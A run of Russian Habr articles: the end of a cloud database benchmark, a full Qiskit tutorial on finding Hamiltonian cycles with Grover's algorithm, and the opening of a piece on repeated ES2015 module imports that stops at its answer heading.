| AWS EC2 m4.2xlarge | 2187 | 358 |
| [Selectel VPC](https://selectel.ru/services/cloud/vpc/) (fast SSD) | 1524 | 186 |
| [Yandex Cloud Compute Instance](https://cloud.yandex.ru/docs/compute/) | 1309 | 155 |
| [Yandex Cloud Managed Database](https://cloud.yandex.ru/docs/mdb/) | 1226 | 234 |
| AWS RDS db.m4.2xlarge (3000 IOPS) | 1200 | 1007 |
| AWS RDS db.t2.2xlarge (3000 IOPS) | 1127 | 862 |
| AWS RDS db.t2.2xlarge (1000 IOPS) | 970 | 625 |
| AWS RDS db.m4.2xlarge (1000 IOPS) | 885 | 769 |
| Selectel VPC (universal SSD) | 247 | 164 |
В колонке **Price** представлена расчётная цена стоимости тестируемого решения в месяц в USD, включая хранилище на 100Gb. Для Amazon RDS, который тарифицируется по часам, стоимость часа умножалась на 720. Цены для расчёта взяты из следующих источников:
— [для Yandex Cloud Managed Database](https://cloud.yandex.ru/docs/mdb/pricing)
— [для Yandex Cloud Compute Instance](https://cloud.yandex.ru/docs/compute/pricing)
— [для Selectel VPC Instance](https://selectel.ru/services/cloud/vpc/)
Результаты тестирования в виде графика:
### Выводы
Выводы, в общем-то, достаточно очевидны: universal SSD у Селектела для целей размещения СУБД лучше не брать :)
Ну а если серьёзно, то мне было интересно сравнить в первую очередь Selectel и Yandex. Как оказалось, оба решения идут практически ноздря-в-ноздрю как по производительности, так и по стоимости. Причём стоимость приятно удивила: цены на тестируемые конфигурации оказались вполне доступными.
Использовать аналогичную по параметрам конфигурацию в облаке AWS ожидаемо дороже (хотя я ожидал большей разницы в цене), но вот по производительности угнаться за AWS EC2 не смог ни один из российских провайдеров. Исключение — не понятный мне RDS, которому не помогает даже добавление provisioned IOPS — работает он всё равно медленно, а стоит при этом очень и очень дорого.
Еще пару слов про Яндекс: вообще, появления такого сервиса я ждал от них давно, очевидно было, что это лишь вопрос времени. Пока еще видно, что он сыроват (надеюсь, это относится только к веб-морде, а не к инфраструктуре в целом), потому как внутри ещё много багов и глюков. Пришлось плотно пообщаться с тех. поддержкой, чтобы понять, это баг или это я что-то не понимаю. Но, я уверен, всё это быстро отладят и на российском рынке IaaS появится еще одна достойная альтернатива. | https://habr.com/ru/post/428151/ | null | ru | null |
# Применение алгоритма Гровера для поиска гамильтоновых циклов в графе
1. Введение
-----------
В данной статье представлен вариант применения квантового алгоритма Гровера для решения задачи поиска гамильтоновых циклов в графе.
Сразу отмечу, что данный вариант решения задачи является учебным. Он не даст так называемого «квантового превосходства», поскольку при росте числа вершин в графе, нам потребуется большее число кубит, циклов Гровера и запусков самого алгоритма. Однако, считаю, что данный вариант заслуживает внимания, возможно он вдохновит кого-либо на поиск более оптимального решения.
2. Постановка задачи
--------------------
Представим, что существует граф, состоящий из пяти вершин *O*, *A*, *B*, *C*, *D*, и восьми ребер. Вершину *O* мы будем считать исходной точкой.
Граф из 5 вершинНекий путник, который находится в точке *O*, хочет пройти через все вершины графа, зайти в каждую из них только один раз и вернуться снова в исходную точку *O*. Необходимо найти все возможные маршруты путника, удовлетворяющие условиям задачи.
Решение этой задачи легко найти самостоятельно. Всего существуют 4 варианта такого пути, при том, что два из них являются обратными последовательностями двух других:
* OCADBO и OBDACO
Гамильтоновы циклы в графе (1)* ODACBO и OBCADO
Гамильтоновы циклы в графе (2)Путнику, находящемуся в исходной точке *O*, необходимо совершить 5 шагов. На каждом из шагов путник переходит по связывающему ребру из одной вершины в другую. Все посещенные вершины должны быть уникальны для маршрута, кроме точки *O*, в ней путник оказывается дважды, поскольку последний 5-ый шаг должен привести его на исходную позицию.
Маршрутом мы будем называть последовательность вершин, через которые должен пройти путник, например: *OBCADO*. Каким бы ни был маршрут (последовательность вершин), он должна удовлетворять следующим правилам:
* вершины маршрута должны быть уникальны, путник дважды не заходит в один и тот же пункт;
* переход на любом шаге маршрута возможен только в ту вершину, которая связана с текущей:
+ *A* соединяется с *C* и *D*
+ *B* соединяется с *O*, *C* и *D*
+ *C* соединяется с *O*, *A*, *B*, *C*, *D*
+ *D* соединяется с *O*, *A*, *B*, *C*, *D*
* маршрут начинается и заканчивается в точке *O*, поэтому для простоты мы исключим ее из маршрута, оставим только изменяющуюся часть — 4 вершины.
**Как будем решать?**
Решить данную задачу можно в лоб, методом перебора. Итак, мы будем перебирать 4 \* 4 \* 4 \* 4 = 256 комбинации вершин:
При переборе нам необходимо определить, удовлетворяет ли рассматриваемый в конкретный момент маршрут условиям задачи. Рассмотрим несколько примеров.
Допустим, мы рассматриваем маршрут *ADCB*. Он невозможен для путника, поскольку первый шаг должен быть из точки *O* в одну из вершин, соединенных с этой точкой. Вершина *A* не соединяется с точкой *O*, такой маршрут мы должны отбросить.
Другой пример, маршрут *CAAB* — его также необходимо отбросить, поскольку в нем путнику придется дважды зайти в вершину *A*.
Еще пример, маршрут *BACD*, тоже отбрасываем, путник никак не может попасть из вершины *B* сразу в вершину *A* (второй шаг), так как эти вершины не связаны.
Итак, нам необходимо перебрать 256 комбинаций, из которых следует отбрасывать те, в которых:
* повторяется хотя бы одна из вершин
* любые две соседние вершины в комбинации не связаны ребром
* первая в комбинации вершина не связана с исходной точкой *O*
* последняя в комбинации вершина не связана с исходной точкой *O*
Решить данную задачу можно в цикле на обычном ПК, однако, мы преследуем учебные цели и хотим разработать решение для квантового компьютера. Для этого будем использовать квантовый алгоритм Гровера.
Выразим маршрут и вершины на языке кубит.
Возьмем 8 кубит, разобьем их условно на 4 пары. Первая пара соответствует первой вершине пути, вторая пара — второй вершине, и т.д. В каждой паре кубит возможна одна из 4-х комбинаций кубит: 00, 01, 10, 11. Положим, что каждой из этих комбинаций соответствует одна из возможных вершин: *A*, *B*, *C*, *D*:
Рассмотренные ранее комбинации *ADCB*, *CAAB* и *BACD* будут соответствовать следующим комбинациям кубит: 00111001, 10000001 и 01001011 соответственно.
Если мы применим к этим восьми кубитам оператор Адамара, то получим суперпозицию из всех возможных вариантов движения путника, то есть все 256 комбинаций. Далее в оракуле нам необходимо реализовать процедуры, которые будут проверять эти комбинации на соответствие условиям задачи.
Однако, еще до реализации оракула мы можем воспользоваться одной хитростью, которая позволит нам сократить число комбинаций почти в два раза.
3. Суперпозиция
---------------
Самым первым шагом большинства квантовых алгоритмов является создание суперпозиции всех входных кубитов. Однако, мы можем тут отойти от традиции и применить небольшую хитрость, которую применили авторы [этой статьи](https://github.com/quantum-challenge/2019/blob/master/problems/final/answer_and_comment_by_judges_en.ipynb). Суть хитрости заключается в следующем: если нам известны невозможные комбинации кубит, мы можем их заранее исключить из суперпозиции.
Поскольку 1-ый шаг совершается из точки *O*, и первая вершина должна быть связана с этой точкой, значит это не может быть вершина *A*, это могут быть только вершины *B*, *C* или *D*. Аналогично, последний 5-ый шаг совершается из 4-ой вершины в точку *O*, и она должна быть связана с точкой *O*, значит это не может быть вершина *A*.
Раз первая вершина в маршруте может быть только вершиной *B*, *C* или *D*, то и первая пара кубит, соответствующая первой вершине в маршруте путника, может принимать только следующие значения: 01, 10 и 11. Это же справедливо и для последней пары кубит, соответствующей четвертой вершине маршрута.
Таким образом, мы исключим из суперпозиции ненужную комбинацию 00 (вершину *A*) для первой и четвертой вершины и, благодаря этому нам уже не потребуется в оракуле проводить проверку на связь этих вершин с точкой *O*, и мы сократим число комбинаций до 3 \* 4 \* 4 \* 3 = 144.
Итак, рассмотрим, как работает этот прием для пары кубит.
Начальное состояние системы из двух кубит запишем следующим образом:
Выполним ряд преобразований.
**Шаг 1. Подействуем на первый кубит оператором **
с таким углом , при котором матрица оператора принимает следующий вид:
Не будем для угла искать «красивое» значение, положим его равным:
Посмотрим, как этот оператор подействует на первый кубит :
После действия оператора на первый кубит пары мы получим следующую суперпозицию 2-х кубит:
**Шаг 2. Подействуем на второй кубит контролируемым вентилем Адамара**
Контролируемый вентиль Адамара изменяет второй кубит только тогда, когда первый кубит равен 
**Шаг 3. Подействуем на второй кубит вентилем *NOT***
Ко второму кубиту применим вентиль *NOT*:
Итак, мы получили суперпозицию, в которой отсутствует комбинация 00.
После того, как мы подробно разобрали теоретическую часть, приступим к написанию соответствующей процедуры. Библиотека **qiskit** имеет в своем арсенале все вентили, приведенные в теоретической части:
* Однокубитный вентиль — QuantumCirquit.**ry**(theta, target\_qubit)
+ **theta** — угол 
+ **target\_qubit** — кубит, на который воздействует вентиль
* Контролируемый вентиль Адамара — QuantumCirquit.**ch**(control\_qubit, target\_qubit)
+ **control\_qubit** — контролирующий кубит
+ **target\_qubit** — кубит, на который воздействует вентиль
* Однокубитный вентиль *NOT*— QuantumCirquit.**x**(target\_qubit)
+ **target\_qubit** — кубит, на который воздействует вентиль
Напишем процедуру, которая на вход будет получать пару кубит и применять к ним последовательно все перечисленные в теоретической части операторы:
```
import numpy as np
theta = 2 * np.arccos(1 / np.sqrt(3))
def exclude_00(qc, pair, reverse=False):
if not reverse:
qc.ry(theta, pair[0])
qc.ch(pair[0], pair[1])
qc.x(pair[1])
else:
qc.x(pair[1])
qc.ch(pair[0], pair[1])
qc.ry(-theta, pair[0])
```
Отмечу сразу, должна быть возможность выполнить данную процедуру в обратном порядке, поэтому мы ввели дополнительный аргумент **reverse**. О необходимости в этом подробнее расскажу позже.
Исключать возможность получить вариант *A* мы будем из первой и четвертой вершины маршрута. Вторая и третья вершины должны иметь все возможные варианты в суперпозиции, поэтому на них будем действовать классически — вентилем Адамара.
4. Оракул
---------
В алгоритме Гровера оракул должен инвертировать фазу «хорошей» комбинации входящих кубит. Если комбинация удовлетворяет условиям уникальности и требованию по связанности вершин, то у такой комбинации оракул должен изменить фазу. В противном случае, если хотя бы одно из условий будет нарушено, оракул оставляет фазу неизменной.
Инверсия фазы равносильна простой инверсии результирующего кубита из  в , который не является частью входных кубит маршрута. Оракул должен быть построен таким образом, чтобы для «хорошей» комбинации результирующий кубит изменял свое состояние  на состояние .
По умолчанию комбинация объявляется «хорошей». Однако, если будет найдено хотя бы одного совпадение вершин или один несвязанный переход между ними, маршрут будет признан «плохим» и инверсии результирующего кубита не произойдет.
На рисунке условно изображена схема алгоритма для решения нашей задачи.
Рассмотрим детально содержание проверок на уникальность и на связанность вершин.
### 4.1. Контроль совпадения вершин
Задача данного блока состоит в том, чтобы не дать оракулу инвертировать результирующий кубит, если вдруг в комбинации встретятся хотя бы две одинаковых вершины.
Чтобы проверить, нет ли совпадающих вершин в комбинации, нам необходимо последовательно проверить все возможные пары вершин на равенство. Для каждой пары вершин будем проверять, не являются ли они обе одновременно либо вершинами *A*, либо *B*, либо *C*, либо *D*.
Проверка совпадения вершинПредставим, что на вход подаются две вершины *A*, тогда все четыре входных кубита равны 0. После применения ко всем четырем кубитам вентиля *NOT* они становятся равны 1. Множественный вентиль Тоффоли инвертирует результирующий кубит. Дальше в схеме кубиты будут подвержены преобразованию для проверки одновременного равенства вершинам *B*, *C* и *D*. Эти проверки будут неудачными и не изменят результирующий кубит, его значение останется инвертированным.
Если на вход подаются несовпадающие вершины, результирующий кубит на всех этапах схемы останется нетронутым.
**Процедура проверки совпадения вершин**
Напишем простую процедуру, на вход которой будем подавать две пары кубит, соответствующие двум вершинам маршрута, а также кубит, в который функция будет передавать результат проверки.
Eсли в качестве пар переданы одинаковые вершины, то процедура изменяет результирующий кубит на обратный, сигнализирует о совпадение вершин.
```
def find_equality(qc, pair_1, pair_2, result_qubit):
qc.x(pair_1 + pair_2)
qc.mct(pair_1 + pair_2, result_qubit)
qc.x([pair_1[1], pair_2[1]])
qc.mct(pair_1 + pair_2, result_qubit)
qc.x(pair_1 + pair_2)
qc.mct(pair_1 + pair_2, result_qubit)
qc.x([pair_1[1], pair_2[1]])
qc.mct(pair_1 + pair_2, result_qubit)
```
Полная схема «детектора совпадений» будет выглядеть примерно так:
В оракуле нам потребуется применить эту процедуру ко всем парам вершин, а поскольку у нас 4 вершины, то процедуру придется запустить 6 раз — это число сочетаний из 4-х по 2:
При восьми вершинах нам уже потребуется запустить данную функцию для 28 пар вершин. Именно эта часть алгоритма и является узким местом.
### 4.2. Проверка связи вершин
Задача данного блока оракула состоит в том, чтобы для всех трех пар рядом стоящих вершин определить, существует ли связывающее их ребро. Если хотя бы у одной такой пары нет связи, то процедура не позволяет оракулу, объявить комбинацию «хорошей» и изменить результирующий кубит. Изменив результирующий кубит на 0, процедура не даст оракулу объявить такой маршрут «хорошим».
Суммарная логика должна быть такая: результирующий кубит проверки на связанность вершин должен измениться (1 → 0) если хотя бы одна пара рядом стоящих вершин не будет связана ребром.
**Как мы будем решать эту задачу?**
Допустим мы проверяем 3-ю и 4-ю вершины маршрута. И допустим, 3-я вершина есть вершина *A*. Но мы знаем, что из вершины *A* можно попасть только в вершины *C* и *D*. Следовательно, сначала нужно проверить, выпала ли на 3-ем шаге вершина *A*, и если это так, то проверить, какая вершина следующая. Нам необходимо выявить именно негативные случаи, когда следующая 4-ая вершина не является ни вершиной *C,* ни *D*, и только в этом случае объявить комбинацию неудачной. Проверить это мы сможем от обратного, если 4-ая вершина является вершиной *A* или *B* (логически эквивалентно «ни *C,* ни *D*»), то считаем текущую комбинацию неудачной. Такая «обратная» форма для нас проще в реализации и позволит сократить число дополнительных кубит.
Не забываем про то, что нам необходимо провести аналогичные проверки для всех остальных случаев, когда третья вершина есть *B*, *C* или *D*. А также для всех возможных пар рядом стоящих вершин в маршруте.
Приступим к реализации данной процедуры. На вход ей будем подавать один кубит для результата и две пары кубит двух вершин. Первую будем называть основной, вторую — соседней.
Мы будем последовательно проверять, какой вершиной (*A*, *B*, *C* или *D*) является основная вершина. Для этого нам потребуется вентиль Тоффоли. Далее для каждой из возможных ситуаций будем проверять соседнюю вершину на предмет того, является ли она связанной с основной вершиной.
Логика работы процедуры следующая:
* Проверяем, является ли основная вершина вершиной *A*, если верно, то проверяем:
+ Является ли соседняя вершина вершиной *A* или *B*, если верно, то инвертируем результирующий кубит.
* Проверяем, является ли основная вершина вершиной *B*, если верно, то проверяем:
+ Является ли соседняя вершина вершиной *A* или *B*, если верно, то инвертируем результирующий кубит.
* Проверяем, является ли основная вершина вершиной *C*, если верно, то проверяем:
+ Является ли соседняя вершина любой, то инвертируем результирующий кубит (условие всегда выполняется).
* Проверяем, является ли основная вершина вершиной *D*, если верно, то далее логика аналогична логике с вершиной *C*.
Давайте детально рассмотрим алгоритм описанных выше проверок.
Сначала проверяем, является ли основная вершина вершиной *A*.
Но каким образом мы можем это проверить? Вершина *A* в виде кубит имеет представление 00, мы можем к обоим кубитам применить вентиль *NOT*, тогда пара станет равной 11. Далее мы направляем эту пару в вентиль Тоффоли в качестве контролирующих кубит, он инвертирует дополнительный кубит (0 → 1). Если основная вершина не является вершиной *A*, то дополнительный кубит останется неизменным. Если же равна — то дополнительный кубит будет инвертированным.
Далее, нам необходимо проверить соседнюю вершину на предмет равенства вершине *A* или *B*. Для этого мы вводим дополнительный кубит для сохранения промежуточного результата проверки, применяем множественный вентиль Тоффоли к двум кубитам проверяемой вершины, но также в качестве контрольного кубита подаем в вентиль дополнительный кубит с результатом проверки на равенство основной вершины вершине *A*. В случае успеха вентиль Тоффоли инвертирует кубит промежуточного результата проверки.
С теоретической частью закончили, приступаем к написанию процедуры.
Сначала составим общий список вершин, заодно зафиксируем для вершин представления в кубитах:
```
vertex_names = {
'A': '00',
'B': '01',
'C': '10',
'D': '11',
}
```
Зафиксируем все связи вершин (кроме точки *O*).
```
connections = {
'A': ['C','D'],
'B': ['C','D'],
'C': ['A','B','D'],
'D': ['A','B','C'],
}
```
Создадим справочник функций, который при подаче на вход вершины, соответствующей ключу в словаре, на выходе выдаст пару кубит 11. Вместе с вентилем Тоффоли этот справочник можно использовать как условный оператор.
```
vertex_to_11 = {
'A': lambda qc, pair: qc.x(pair),
'B': lambda qc, pair: qc.x(pair[0]),
'C': lambda qc, pair: qc.x(pair[1]),
'D': lambda qc, pair: None,
}
```
Далее, создадим процедуру, которая в качестве аргументов получает две пары кубит, основной и соседней вершины, и проверяет наличие связи между ними. Также в процедуру передаем результирующий кубит, который заранее подготовлен в состоянии .
```
def find_disconnection(qc, pair_1, pair_2, ancilla_qubit, result_qubit):
for letter_1 in connections.keys():
vertex_to_find = [x for x in vertex_names.keys() if x not in connections[letter_1]]
if len(vertex_to_find) > 0:
vertex_to_11[letter_1](qc, pair_1)
qc.toffoli(*pair_1, ancilla_qubit)
for letter_2 in vertex_to_find:
vertex_to_11[letter_2](qc, pair_2)
qc.mct([*pair_2, ancilla_qubit], result_qubit)
vertex_to_11[letter_2](qc, pair_2)
qc.toffoli(*pair_1, ancilla_qubit)
vertex_to_11[letter_1](qc, pair_1)
```
Эта процедура проверяет одну пару рядом стоящих вершин на предмет существования связи между ними. Если подобной связи нет, то она инвертирует результирующий кубит (1 → 0) процедуры, что не позволит оракулу объявить данную комбинацию «хорошей».
5. Оператор диффузии
--------------------
Оператор диффузии Гровера в матричном выражении представляет собой обычную единичную матрицу, все диагональные элементы которой равны -1 за исключением самого левого верхнего элемента, который равен 1. Оператор инвертирует фазу любого вектора, кроме вектора .
Пример действия оператора на вектор :
Пример действия оператора на любой другой вектор:
«Сочинять» конфигурацию вентилей для оператора диффузии нет необходимости, он уже разработан. Для набора из *n* кубит оператор будет выглядеть следующим образом:
Оператор диффузии ГровераТеперь напишем функцию, которая выражает оператор диффузии Гровера. Функцию сделаем универсальной, она на вход будет принимать любое количество кубит.
```
def diffusion(qc, qubits):
qc.h(qubits)
qc.x(qubits)
qc.h(qubits[-1])
length = len(qubits)
if length > 3:
qc.mct(qubits[0:-1], qubits[-1])
elif length == 3:
qc.toffoli(qubits[0:-1], qubits[2])
elif length == 2:
qc.cx(qubits[0], qubits[1])
qc.h(qubits[-1])
qc.x(qubits)
qc.h(qubits)
```
В качестве центрального элемента оператора используется один из трех вентилей:
* когда на вход поступают всего 2 кубита — простой вентиль *CNOT*
* когда 3 кубита — вентиль Тоффоли
* когда 4 и более кубита — вентиль Тоффоли для многих кубит
**Доработка оператора диффузии Гровера**
Поскольку для создания начальной суперпозиции входных кубит мы не везде использовали однокубитный вентиль Адамара, нам потребуется видоизменить оператор диффузии.
В первоначальном виде оператор диффузии Гровера на входе применяет ко всем входным кубитам вентиль Адамара, тем самым как бы возвращая кубиты из суперпозиции в обычное несвязанное состояние. На выходе оператор снова применяет вентили Адамара для создания суперпозиции.
Однако, на шаге создания суперпозиции мы применили специальные операторы для исключения ненужных комбинаций из первой и четвертой пары кубит, а вентиль Адамара применили только ко второй и третьей.
Соответственно, для нашего алгоритма мы отключим в операторе диффузии Гровера входные и выходные вентили Адамара:
```
def diffusion(qc, qubits):
# qc.h(qubits)
qc.x(qubits)
qc.h(qubits[-1])
length = len(qubits)
if length > 3:
qc.mct(qubits[0:-1], qubits[-1])
elif length == 3:
qc.toffoli(qubits[0:-1], qubits[2])
elif length == 2:
qc.cx(qubits[0], qubits[1])
qc.h(qubits[-1])
qc.x(qubits)
# qc.h(qubits)
```
Теперь он выглядит так:
Адаптированный под задачу оператор диффузии ГровераА перед вызовом оператора будем применять преобразование, обратное созданию суперпозиции, после оператора — снова создание суперпозиции:
```
exclude_00(qc, qr[0:2], reverse=True)
qc.h(qr[2:6])
exclude_00(qc, qr[6:8], reverse=True)
diffusion(qc, qr[0:8])
exclude_00(qc, qr[0:2])
qc.h(qr[2:6])
exclude_00(qc, qr[6:8])
```
Тут нам и пригодилась инверсная версия процедуры исключения комбинации 00 из суперпозиции.
5. Собираем все вместе
----------------------
Мы не будем подробно рассматривать принципы работы алгоритма Гровера с его учебными примерами, а сразу приступим к его реализации. Рассчитаем число итераций, пусть *n* — число входных кубит для оракула, в нашем случае оно равно 8, тогда количество итераций алгоритма Гровера должно быть следующим:
То есть, нам потребуется всего 2 итерации алгоритма для получения отчетливого результата.
### 5.1. Общая схема
Все составляющие алгоритма мы рассмотрели, начинаем сборку элементов в единую рабочую цепь. Общая схема выглядит следующим образом:
Общая схема цепиСкачиваем и устанавливаем библиотеки Qiskit, NumPy и Matplotlib для Python.
```
> pip3 install qiskit numpy matplotlib
```
Импортируем необходимые библиотеки.
```
import numpy as np
from qiskit import ClassicalRegister, QuantumRegister, QuantumCircuit, Aer, execute
```
Заранее подготовим процедуру поиска совпадений вершин.
```
def find_equality(...):
# См. код процедуры выше
```
Заводим необходимые для работы переменные и вспомогательные функции:
```
vertex_names = {
'A': '00',
'B': '01',
'C': '10',
'D': '11',
}
connections = {
'A': ['C','D'],
'B': ['C','D'],
'C': ['A','B','D'],
'D': ['A','B','C'],
}
vertex_to_11 = {
'A': lambda qc, pair: qc.x(pair),
'B': lambda qc, pair: qc.x(pair[0]),
'C': lambda qc, pair: qc.x(pair[1]),
'D': lambda qc, pair: None,
}
```
Готовим процедуру поиска несвязанных вершин и оператор диффузии.
```
def find_disconnection(...):
# См. код процедуры find_disconnection выше
def diffusion(...):
# См. код процедуры diffusion выше
```
Подготавливаем процедуру для исключения ненужных вершин из суперпозиции:
```
theta = 2 * np.arccos(1 / np.sqrt(3))
def exclude_00(qc, pair, reverse=False):
# См. код процедуры exclude_00
```
Теперь необходимо решить, сколько нам всего потребуется кубит:
| | | |
| --- | --- | --- |
| Индексы | Число кубит | Назначение |
| 0-7 | 8 | Комбинации вершин в маршруте |
| 8-13 | 6 | Промежуточные результаты поиска совпадающих вершин |
| 14-16 | 3 | Промежуточные результаты поиска несвязанных вершин |
| 17 | 1 | Результирующий кубит |
| 18 | 1 | Дополнительный кубит для процедуры поиска несвязанных вершин |
Итого, нам потребуются 19 кубит. Для измерения результата также необходимо зарезервировать 8 обычных бит.
Создаем квантовую цепь:
```
qr = QuantumRegister(19)
cr = ClassicalRegister(8)
qc = QuantumCircuit(qr, cr)
```
Создаем суперпозицию:
```
exclude_00(qc, qr[0:2])
qc.h(qr[2:6])
exclude_00(qc, qr[6:8])
```
Подготавливаем результирующий кубит:
```
qc.x(17)
qc.h(17)
```
Пишем цикл, который дважды запускает оракул и оператор диффузии Гровера.
```
pairs = [
[[qr[0],qr[1]], [qr[2],qr[3]]],
[[qr[0],qr[1]], [qr[4],qr[5]]],
[[qr[0],qr[1]], [qr[6],qr[7]]],
[[qr[2],qr[3]], [qr[4],qr[5]]],
[[qr[2],qr[3]], [qr[6],qr[7]]],
[[qr[4],qr[5]], [qr[6],qr[7]]],
]
for i in range(2):
# Oracle
qc.x(qr[8:17])
for i, pair in enumerate(pairs):
find_equality(qc, pair[0], pair[1], qr[8 + i])
find_disconnection(qc, pair_1=qr[2:4], pair_2=qr[0:2], ancilla_qubit=qr[18], result_qubit=qr[14])
find_disconnection(qc, pair_1=qr[4:6], pair_2=qr[2:4], ancilla_qubit=qr[18], result_qubit=qr[15])
find_disconnection(qc, pair_1=qr[6:8], pair_2=qr[4:6], ancilla_qubit=qr[18], result_qubit=qr[16])
# Store result
qc.mct(qr[8:17], qr[17])
# Oracle (reverse)
find_disconnection(qc, pair_1=qr[6:8], pair_2=qr[4:6], ancilla_qubit=qr[18], result_qubit=qr[16])
find_disconnection(qc, pair_1=qr[4:6], pair_2=qr[2:4], ancilla_qubit=qr[18], result_qubit=qr[15])
find_disconnection(qc, pair_1=qr[2:4], pair_2=qr[0:2], ancilla_qubit=qr[18], result_qubit=qr[14])
for i, pair in enumerate(pairs):
find_equality(qc, pair[0], pair[1], qr[8 + i])
qc.x(qr[8:17])
# Diffuser
exclude_00(qc, qr[0:2], reverse=True)
qc.h(qr[2:6])
exclude_00(qc, qr[6:8], reverse=True)
diffusion(qc, qr[0:8])
exclude_00(qc, qr[0:2])
qc.h(qr[2:6])
exclude_00(qc, qr[6:8])
```
При запуске нескольких итераций необходимо «подчищать» дополнительные кубиты для экономии. Поэтому после сохранения результата работы оракула необходимо выполнить обратные процедуры, чтобы вернуть к исходному состоянию 1 все кубиты промежуточных результатов и состоянию 0 все дополнительные кубиты, иначе вторая итерация будет выполнена некорректно. Обратная процедура иногда бывает эквивалентна исходной, а иногда в ней требуется выполнить все шаги в обратном порядке. Все зависит от конфигурации вентилей, если повторное применение в обратном порядке возвращает систему в первоначальное состояние, то нет необходимости для процедуры писать инверсный вариант.
Измерение результата:
```
qc.measure(qr[0:8], cr)
```
Итак, схема готова, теперь необходимо ее запустить.
Поскольку всего комбинаций 144, из них удачных только 4, то нам потребуется запустить алгоритм «приличное» число раз, чтобы отчетливо увидеть распределение вероятности удачных и неудачных маршрутов.
Запускаем алгоритм на симуляторе.
```
simulator = Aer.get_backend('qasm_simulator')
result = execute(qc, backend = simulator, shots = 1000).result()
counts = result.get_counts()
print(counts)
```
Получаем результат.
```
{'10011001': 1, ..., '11000110': 146, ..., '01100010': 4}
```
Метод **measure** класса **QuantumCirquit** возвращает ответ в виде массива с ключами, где каждый ключ соответствует комбинации кубит, а значение есть частота появления этой комбинации среди всех запусков алгоритма. Ключ представляет кубиты с 0-го по *n*-й справа налево, как принято при записи двоичных и десятичных чисел. Например:
Кроме того, этот массив не отсортирован, и найти в нем наиболее вероятные варианты тяжело. Напишем небольшое выражение, которое придаст результату «человекопонятный» вид.
```
answers = {''.join(dict(zip(map(lambda x: x[::-1], vertex_names.values()), vertex_names.keys()))[k[i*2:i*2+2]]
for i in range(len(k)//2)): v
for k, v in {item[0]: item[1]
for item in sorted(counts.items(), key=lambda x:x[1], reverse=True)}.items()}
print(answers)
```
Получаем результат.
```
{'CADB': 161, 'BDAC': 135, 'DACB': 130, 'BCAD': 127, 'DCAC': 8, ... }
```
Теперь мы видим, что наибольшую частоту имеют маршруты:
```
{
'CADB': 161,
'BDAC': 135,
'DACB': 130,
'BCAD': 127
}
```
Частота остальны значительно ниже. Для наглядности построим гистограмму распределения вероятностей ответов:
```
from qiskit.visualization import plot_histogram
plot_histogram(counts)
```
Распределение частоты появления всех возможных маршрутов6. Выводы
---------
Используя квантовый алгоритм Гровера мы с вами нашли гамильтоновы пути в графе с 5-ю вершинами. Практическое применение алгоритма Гровера требует учета ряда особенностей:
1. Характер суперпозиции влияет на оператор диффузии.
2. При запуске нескольких итераций необходимо применять инверсию оракула для экономии дополнительных кубит.
3. Оракул должен готовиться особым образом, входящие в него процедуры должны обнаруживать «нарушения условий», оракул инвертирует фазу комбинации только когда нет ни одного «нарушения».
Решение не универсальное, его невозможно применить к другой конфигурации ребер в графе, не говоря уже о большем числе вершин. Для создания универсального инструмента необходимо учесть следующие аспекты:
* Решения вообще может не быть, тогда вероятность всех маршрутов будет примерно одинаковая.
* Заранее неизвестно количество ответов. Зная это число, можно значительно сократить объем вычислений, необходимо применить к задаче алгоритмы поиска числа решений.
* Решение не подходит для числа вершин, отличного от 5-ти как в большую так и в меньшую сторону. Потребуется значительная переработка для адаптации.
* Рост числа вершин значительно увеличивает число кубит для обнаружения неуникальных вершин.
Надеюсь, статья будет кому-либо полезной:)
[Ссылка на код алгоритма](https://github.com/kochelev/quantum__grover__hamiltonian_cycles) в репозитории GitHub | https://habr.com/ru/post/587176/ | null | ru | null |
# Что происходит, когда JS-модуль импортируют дважды?
Начнём этот материал с вопроса. ES2015-модуль `increment` содержит следующий код:
```
// increment.js
let counter = 0;
counter++;
export default counter;
```
В другом модуле, который мы назовём `consumer`, вышеприведённый модуль импортируется 2 раза:
```
// consumer.js
import counter1 from './increment';
import counter2 from './increment';
counter1; // => ???
counter2; // => ???
```
А теперь, собственно, вопрос. Что попадёт в переменные `counter1` и `counter2` после выполнения модуля `consumer`?
[](https://habr.com/ru/company/ruvds/blog/492504/)
Для того чтобы ответить на этот вопрос, нужно понимать то, как JavaScript выполняет модули, и то, как они импортируются.
Выполнение модуля
-----------------
Для того чтобы понять то, как работают внутренние механизмы JavaScript, полезно заглянуть в [спецификацию](https://tc39.es/ecma262/).
В соответствии со спецификацией, каждый JavaScript-модуль ассоциирован с сущностью [Module Record](https://tc39.es/ecma262/#sec-abstract-module-records) (запись модуля). У этой записи есть метод `Evaluate()`, который выполняет модуль:
Если данный модуль уже был успешно выполнен, вернуть undefined; […]. В противном случае транзитивно выполнить все зависимости этого модуля и затем выполнить этот модуль.
В результате оказывается, что один и тот же модуль выполняется лишь один раз.
К сожалению, то, что нужно знать для ответа на наш вопрос, этим не ограничивается. Как удостовериться в том, что вызов инструкции `import` с использованием одинаковых путей приведёт к возврату одного и того же модуля?
Разрешение команд импорта
-------------------------
За связь пути к модулю (спецификатора, specifier) с конкретным модулем отвечает абстрактная операция [HostResolveImportedModule()](https://tc39.es/ecma262/#sec-source-text-module-record-execute-module). Код импорта модуля выглядит так:
```
import module from 'path';
```
Вот что говорит об этом спецификация:
Реализация HostResolveImportedModule должна соответствовать следующим требованиям:
* Обычным возвращаемым значением должен быть экземпляр конкретного подкласса Module Record.
* Если сущность Module Record, соответствующая паре referencingScriptOrModule, specifier, не существует, или такая сущность не может быть создана, должно быть выброшено исключение.
* Каждый раз, когда эта операция вызывается с передачей ей в качестве аргументов конкретной пары referencingScriptOrModule, specifier, она должна, в случае её обычного выполнения, возвращать тот же самый экземпляр сущности Module Record.
Теперь рассмотрим это в более понятной форме.
`HostResolveImportedModule(referencingScriptOrModule, specifier)` — это абстрактная операция, которая возвращает модуль, соответствующий паре параметров `referencingScriptOrModule`, `specifier`:
* Параметр `referencingScriptOrModule` — это текущий модуль, то есть — тот модуль, который выполняет импорт.
* Параметр `specifier` — это строка, которая соответствует пути модуля в инструкции `import`.
В конце описания `HostResolveImportedModule()` говорится, что при импорте модулей, которым соответствует один и тот же путь, выполняется импорт одного и того же модуля:
```
import moduleA from 'path';
import moduleB from 'path';
import moduleC from 'path';
// moduleA, moduleB и moduleC -это одно и то же
moduleA === moduleB; // => true
moduleB === moduleC; // => true
```
Интересно, что спецификация указывает на то, что хост (браузер, среда Node.js, в общем — что угодно, пытающееся выполнить JavaScript-код) должен предоставлять конкретную реализацию `HostResolveImportedModule()`.
Ответ
-----
